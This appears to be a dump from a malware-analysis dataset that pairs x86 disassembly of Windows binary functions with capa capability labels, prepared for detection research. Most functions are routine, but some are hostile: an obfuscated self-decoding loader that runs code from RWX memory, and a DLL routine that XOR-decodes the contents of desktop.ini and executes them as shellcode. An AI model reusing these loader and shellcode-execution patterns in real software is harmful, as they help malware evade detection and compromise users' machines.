joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40328c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov ecx, dword [ecx]
push ebx
push esi
push edi
sub ecx, 0x10
mov dword [ebp - 8], edx
call fcn.00402b77
push 0x44
xor ebx, ebx
push ebx
lea esi, [eax + 0x10]
lea eax, [ebp - 0x5c]
mov dword [ebp - 4], esi
push eax
call fcn.00405c40
xor eax, eax
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
or dword [ebp - 0x30], 0x81
xor eax, eax
inc eax
mov word [ebp - 0x2c], ax
cmp dword [esi - 4], eax
jle 0x4032ed
push dword [esi - 0xc]
lea ecx, [ebp - 4]
call fcn.00402ccd
mov esi, dword [ebp - 4]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push ebx
push ebx
push 0x400
push ebx
push ebx
push ebx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x403318
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
jmp 0x40334e
push 0xffffffffffffffff
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 8]
test eax, eax
je 0x40333b
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
setne bl
jmp 0x40333e
xor ebx, ebx
inc ebx
push dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x14]
call esi
lea ecx, [ebp - 4]
call fcn.00402b5c
pop edi
pop esi
mov al, bl
pop ebx
leave
ret
Function at 0x8b1058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.008b11a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x8b107e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8b106a
add dl, dl
jne 0x8b1089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8b10dc
xor eax, eax
add dl, dl
jne 0x8b1096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8b117d
add dl, dl
jne 0x8b10a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8b10b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8b10bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8b10c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x8b10d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x8b1075
mov eax, 1
add dl, dl
jne 0x8b10ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8b10f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8b10e1
sub eax, ebx
mov ebx, 1
jne 0x8b1128
mov ecx, 1
add dl, dl
jne 0x8b110e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x8b1119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8b1105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8b1075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x8b113f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x8b114a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8b1136
cmp eax, 0x7d00
jae 0x8b116d
cmp eax, 0x500
jb 0x8b1168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8b1075
cmp eax, 0x7f
ja 0x8b1170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8b1075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x8b119e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x8b1075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x403203
pop dword [ebp - 0x24]
mov eax, 0x403203
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xe2e9ba58
add dword [ebp - 0x34], 0x6b688af3
mov dword [ebp - 0x30], 0x431cd714
sub dword [ebp - 0x30], 0x10e98acf
mov dword [ebp - 0x2c], 0xf19c860f
sub dword [ebp - 0x2c], 0xa55041e1
mov dword [ebp - 0x28], 0xaca0e1da
add dword [ebp - 0x28], 0x535f1e26
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x1ec2a0c8
sub dword [ebp - 0x34], 0xaa503772
mov dword [ebp - 0x30], 0xd5111165
add dword [ebp - 0x30], 0x6c5b5010
mov dword [ebp - 0x2c], 0x15ec107d
add dword [ebp - 0x2c], 0x4d835bef
mov dword [ebp - 0x28], 0xbdab5e90
sub dword [ebp - 0x28], 0xbdab5e90
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x8cce4b0f
add eax, 0x73722599
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x39181
push 0
call eax
mov ecx, 0xfab73c7b
add ecx, 0x5491585
xor edx, edx
add edx, eax
mov ebx, 0xaa3bab34
sub ebx, 0xa9faab34
add ebx, dword [ebp - 0x24]
mov esi, 0x7aec5416
add esi, 0x6ef61cd1
sub dword [ebp - 0xc], 0x22e9b83b
mov edi, dword [ebx]
xor dword [ebp - 0x18], eax
sub edi, esi
add dword [ebp - 0x1c], 0x6a2c07a0
mov dword [edx], edi
mov dword [ebp - 0x14], 0xb2132a4d
add edx, 0x54edc6ce
add edx, 0xab123936
add ebx, 0x9a6fd631
add ebx, 0x659029d3
loop 0x40331d
add eax, 0x13ad3
xor ebx, ebx
add ebx, eax
add eax, 0xb701b853
add eax, 0x48fe47b2
mov ecx, 0xabb94c00
sub ecx, 0xab794c00
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x406df0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x410040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x41053c]
mov ecx, dword [ebp + 0xc]
push ebx
push esi
push edi
test eax, eax
js 0x406efb
cmp eax, 2
jge 0x406efb
imul edi, eax, 0x214
inc eax
push ecx
push pe_nt_image_headers32
mov dword [0x41053c], eax
add edi, 0x410114
lea ebx, [edi + 4]
mov dword [edi], 1
push ebx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add esp, 0xc
cmp dword [edi], 0
je 0x406efb
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [ebp - 0xe]
lea esi, [edi + 0x110]
movzx ecx, word [ebp - 0x12]
movzx eax, word [ebp - 0x14]
push edx
push ecx
push eax
push ebx
push str.._s_04d__02d__02d.txt
push esi
mov dword [edi + 0x104], edx
mov dword [edi + 0x108], ecx
mov dword [edi + 0x10c], eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [edi + 0x210], eax
cmp eax, 0xffffffff
jne 0x406ed7
mov dword [edi], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409857
mov esp, ebp
pop ebp
ret 8
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x406efb
push dword [edi + 0x210]
mov dword [edi], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409857
mov esp, ebp
pop ebp
ret 8
Function at 0x406f10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
mov eax, dword [0x410040]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push esi
push edi
test eax, eax
js 0x4070f8
cmp eax, dword [ecx + 0x42c]
jge 0x4070f8
imul edi, eax, 0x214
add edi, ecx
cmp dword [edi + 4], 0
je 0x4070f8
lea eax, [ebp - 0x81c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x816]
cmp eax, dword [edi + 0x108]
jne 0x406f8f
movzx eax, word [ebp - 0x81a]
cmp eax, dword [edi + 0x10c]
jne 0x406f8f
movzx eax, word [ebp - 0x81c]
cmp eax, dword [edi + 0x110]
je 0x40704e
push dword [edi + 0x214]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx edx, word [ebp - 0x816]
lea esi, [edi + 0x114]
movzx ecx, word [ebp - 0x81a]
movzx eax, word [ebp - 0x81c]
push edx
push ecx
push eax
mov dword [edi + 0x110], eax
lea eax, [edi + 8]
push eax
push str.._s_04d__02d__02d.txt
push esi
mov dword [edi + 0x108], edx
mov dword [edi + 0x10c], ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [edi + 0x214], eax
cmp eax, 0xffffffff
jne 0x407019
mov dword [edi + 4], 0
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00409857
mov esp, ebp
pop ebp
ret
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x40704e
push dword [edi + 0x214]
mov dword [edi + 4], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00409857
mov esp, ebp
pop ebp
ret
push 0x400
lea eax, [ebp - 0x80c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp + 0x14]
mov edx, 0x400
push eax
push ecx
push dword [ebp + 0x10]
lea ecx, [ebp - 0x80c]
call fcn.00407120
add esp, 0xc
lea eax, [ebp - 0x40c]
push 0x400
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x80c]
push eax
movzx eax, word [ebp - 0x810]
push eax
movzx eax, word [ebp - 0x812]
push eax
movzx eax, word [ebp - 0x814]
push eax
lea eax, [ebp - 0x40c]
push str._02d:_02d:_02d__s_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [ebp - 0x40c]
add esp, 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4070d2
push 0
lea eax, [ebp - 0x820]
sub ecx, edx
push eax
push ecx
lea eax, [ebp - 0x40c]
push eax
push dword [edi + 0x214]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.00409857
mov esp, ebp
pop ebp
ret
Function at 0x4087c0
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
mov edi, ecx
mov eax, dword [edi + 0x70]
test eax, eax
je 0x4087e6
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [edi + 0x70]
call ebx
mov dword [edi + 0x70], 0
mov eax, dword [edi + 0x6c]
test eax, eax
je 0x4087f7
push eax
call ebx
mov dword [edi + 0x6c], 0
push esi
lea ecx, [edi + 0x38]
call fcn.00407c30
lea esi, [edi + 0x14]
mov ebx, 8
mov eax, dword [esi]
test eax, eax
je 0x408825
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], 0
add esi, 4
sub ebx, 1
jne 0x408808
mov eax, dword [edi + 0x10]
pop esi
test eax, eax
je 0x408851
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [edi + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
mov dword [edi + 0x10], 0
jmp 0x408857
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [edi + 8]
test eax, eax
je 0x408868
push eax
call ebx
mov dword [edi + 8], 0
mov eax, dword [edi + 4]
cmp eax, 0xffffffff
je 0x40887e
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi + 4], 0xffffffff
pop edi
pop ebx
ret
Function at 0x408a80
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x4d9ed8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
test edi, edi
js 0x408bed
cmp edi, 0x190
jge 0x408bed
imul ecx, edi, 0x70
mov dword [ebp - 4], ecx
mov eax, dword [ecx + 0x4dc58c]
test eax, eax
js 0x408bed
cmp eax, 0x190
jge 0x408bed
cmp dword [ecx + 0x4dc590], 0
je 0x408bed
cmp dword [ecx + 0x4dc5a4], 0xffffffff
je 0x408bed
mov eax, dword [ebp + 0x10]
cmp eax, 0x2000
jle 0x408b04
push eax
push edi
push str._SocketManager__Max_msg_size__Type:_1__Index:__d__Size:__d_
push 1
call fcn.00409690
add esp, 0x10
jmp 0x408bed
mov ebx, dword [ecx + 0x4dc5ac]
cmp dword [ebx + 0x20], 0
jle 0x408b6b
mov edx, dword [ebx + 0x12028]
lea ecx, [edx + eax]
cmp ecx, 0x10000
jle 0x408b37
push ecx
push edi
push str._SocketManager__Max_msg_size__Type:_2__Index:__d__Size:__d_
push 1
call fcn.00409690
add esp, 0x10
jmp 0x408be2
push eax
push dword [ebp + 0xc]
lea eax, [ebx + 0x2028]
add eax, edx
push eax
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [ebp + 0x10]
add esp, 0xc
add dword [ebx + 0x12028], ecx
push 0x4d9ed8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push eax
push dword [ebp + 0xc]
lea esi, [ebx + 0x24]
push esi
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [ebp + 0x10]
lea eax, [ebx + 0x14]
add esp, 0xc
mov dword [eax], ecx
mov dword [ebx + 0x20], ecx
lea ecx, [ebp + 8]
mov dword [ebx + 0x18], esi
mov dword [ebx + 0x1c], 1
push 0
push ebx
push 0
push ecx
push 1
push eax
mov eax, dword [ebp - 4]
mov dword [ebx + 0x2024], 0
mov dword [ebp + 8], 0
push dword [eax + 0x4dc5a4]
call dword [sym.imp.WS2_32.dll_WSASend]
cmp eax, 0xffffffff
jne 0x408b55
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call esi
cmp eax, 0x3e5
je 0x408b55
call esi
push eax
push str._SocketManager__WSASend___failed_with_error:__d
push 1
call fcn.00409690
add esp, 0xc
push edi
mov ecx, 0x4d9e60
call fcn.00408c10
push 0x4d9ed8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x408df0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
push edi
mov dword [ebp - 4], esi
lea edi, [esi + 0x78]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
test ebx, ebx
js 0x408f82
cmp ebx, 0x190
jge 0x408f82
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jne 0x408e2d
mov ecx, esi
jmp 0x408f7c
mov esi, dword [ebp + 0x10]
imul eax, ebx, 0x70
mov edx, dword [esi + 0x2024]
add edx, ecx
mov ecx, dword [esi + 0x20]
mov dword [ebp + 0xc], eax
mov dword [esi + 0x2024], edx
cmp edx, ecx
jl 0x408f1b
mov eax, dword [esi + 0x12028]
test eax, eax
jg 0x408e70
push edi
mov dword [esi + 0x20], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
lea edx, [esi + 0x2028]
lea ecx, [esi + 0x24]
cmp eax, 0x2000
jle 0x408ee5
push 0x2000
push edx
push ecx
call sub.VCRUNTIME140.dll_memcpy
lea eax, [esi + 0x24]
mov dword [esi + 0x14], 0x2000
mov dword [esi + 0x18], eax
add esp, 0xc
mov eax, dword [esi + 0x12028]
sub eax, 0x2000
mov dword [esi + 0x1c], 1
mov dword [esi + 0x20], 0x2000
push eax
lea eax, [esi + 0x4028]
mov dword [esi + 0x2024], 0
push eax
lea eax, [esi + 0x2028]
push eax
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [esi + 0x14]
sub dword [esi + 0x12028], 0x2000
jmp 0x408f31
push eax
push edx
push ecx
call sub.VCRUNTIME140.dll_memcpy
lea eax, [esi + 0x24]
mov dword [esi + 0x2024], 0
mov dword [esi + 0x18], eax
add esp, 0xc
mov eax, dword [esi + 0x12028]
mov dword [esi + 0x14], eax
mov dword [esi + 0x20], eax
lea eax, [esi + 0x14]
mov dword [esi + 0x12028], 0
jmp 0x408f2a
lea eax, [esi + 0x24]
add eax, edx
sub ecx, edx
mov dword [esi + 0x18], eax
lea eax, [esi + 0x14]
mov dword [eax], ecx
mov dword [esi + 0x1c], 1
push 0
push esi
push 0
lea ecx, [ebp + 8]
mov dword [ebp + 8], 0
push ecx
push 1
push eax
mov eax, dword [ebp + 0xc]
push dword [eax + 0x4dc5a4]
call dword [sym.imp.WS2_32.dll_WSASend]
cmp eax, 0xffffffff
jne 0x408f82
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call esi
cmp eax, 0x3e5
je 0x408f82
call esi
push eax
push str._SocketManager__WSASend___failed_with_error:__d
push 1
call fcn.00409690
mov ecx, dword [ebp - 4]
add esp, 0xc
push ebx
call fcn.00408c10
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4095a0
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 0x18]
mov dword [esi], vtable.CSocketManagerUdp.0
test eax, eax
je 0x4095cc
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x18], 0
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x4095e2
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
test byte [ebp + 8], 1
je 0x4095f6
push 0x2024
push esi
call fcn.00409ab6
add esp, 8
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x409600
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x410040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
jmp 0x409628
lea eax, [ebp - 0x104]
push pe_nt_image_headers32
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov edx, dword [ebp + 8]
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x104]
call fcn.00409840
add esp, 0x10
lea eax, [ebp - 0x104]
push 0x10
push str.Error
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x409678
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x40a34d
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40a38c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40a38c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40a38c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40a38c
cmp dword [ecx + 0x74], 0xe
jbe 0x40a38c
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x420394
Capabilities:
Encode data using xor

Disassembly:
fidiv word [esi]
sahf
in eax, dx
mov esp, 0x558c4349
in al, dx
outsd dx, dword fs:[esi]
xor dword [edi + 0x74], ebp
invalid
xchg esp, eax
sbb al, 0xc1
sahf
dec ebp
int1
fsubr dword [esi + edx*8 - 0xbc51126]
mov ds, word [ebx + 0x463efacc]
mov esp, 0x82a48046
maxps xmm4, xmmword [esp + edi + 0x1c]
popfd
inc ebp
aam 0xb4
jge 0x420327
push edx
mov ch, 0x8d
aas
or al, ah
in eax, dx
test ebp, esp
invalid
scasb al, byte es:[edi]
push esi
test dword [edi + 0x43e2463], esi
push ds
mov dword [ebx - 0x68d711c1], ebx
inc ebp
daa
jl 0x420338
mov al, byte [0x737985bf]
mov ebx, 0x5f76a678
adc eax, dword [ebx + 0x1ce6ea24]
test al, 0x7b
inc esp
mov eax, dword [ebx]
out 0x54, al
test eax, 0xdc8c9e76
sar dword [esi - 0x18], 0xe4
cli
mov esp, 0xaa0c2a17
push ebp
in al, 0x44
pushal
stosd dword es:[edi], eax
invalid

Function at 0x438990
Capabilities:
Encode data using xor

Disassembly:
out dx, al
int1
xor al, 0x3b
invalid
pop ds
mov eax, dword [0x9c5d09a1]
or byte [eax + 0x38b5e920], 0x6b
pop eax
popal
push es
jp 0x4388e3
mov eax, dword [0x829c5d09]
mov byte [eax], ah
jmp 0x58aec1ac
loope 0x4388eb
xor eax, 0xc8de3fee
push cs
out dx, eax
push ebx
sal ebp, 1
sbb ebp, edi
invalid
xor eax, 0x1998ff4f
lodsd eax, dword [esi]
loope 0x4388e8
test eax, 0x97703fdc
push 0x76
cmpsb byte [esi], byte es:[edi]
mov eax, 0x428a9fa0
nop
mov al, byte [0x90428a9f]
js 0x438947
sbb byte fs:[eax - 0x12f42c0], bh
int1
out dx, al
xchg ecx, eax
mov eax, 0x953962d1
inc eax
js 0x4389b6
or al, 0xbf
enter 0x10d0, 0xffffffffffffffbd
mov edi, 0xbd10d0c8
cli
or ecx, eax
jbe 0x438935
xchg esp, eax
or eax, 0x28fc48ec
clc
ret 0xe4ea
sub ebp, esp
cwde
out dx, eax
mov esp, 0xa8e50978
in eax, 0xaf
std
jae 0x438961
fcom qword [ecx - 0x59ea2d41]
add esi, edx
or al, 0xc2
mov edx, 0x26724566
std
fcmovbe st(0), st(6)
pop eax
fisubr word [esi - 0x233d11c]
mov eax, 0xa0ebd88d
nop
fdiv qword [ebx - 0x5e1797c5]
mov cl, 0xf9
and dh, byte [edx + 0x33]
in eax, dx
or dword [esi - 0xc205c2e], esi
xor al, 0x8d
xchg ebp, eax
leave
scasd eax, dword es:[edi]
ror dword [eax + 0x27d188f5], 1
invalid
int3
Function at 0x4ba5dd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c23d0
cmp edx, dword [eax]
je 0x4ba5ff
add eax, 8
inc ecx
cmp eax, 0x4c2460
jl 0x4ba5f0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c23d0]
jne 0x4ba72d
mov eax, dword [0x4c6d5c]
cmp eax, 1
je 0x4ba707
test eax, eax
jne 0x4ba630
cmp dword [0x4c22f8], 1
je 0x4ba707
cmp edx, 0xfc
je 0x4ba72d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4ba667
lea eax, [ebp - 0x1a4]
push 0x4bf8f8
push eax
call fcn.004bafc0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bb450
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4ba6aa
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bb450
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4bf8f4
push edi
call fcn.004bd320
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4bf8d8
push eax
call fcn.004bafc0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bafd0
lea eax, [ebp - 0xa0]
push 0x4bf8d4
push eax
call fcn.004bafd0
push dword [esi + 0x4c23d4]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bafd0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4bf8ac
push eax
call fcn.004bd294
add esp, 0x2c
pop edi
jmp 0x4ba72d
lea eax, [ebp + 8]
lea esi, [esi + 0x4c23d4]
push 0
push eax
push dword [esi]
call fcn.004bb450
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10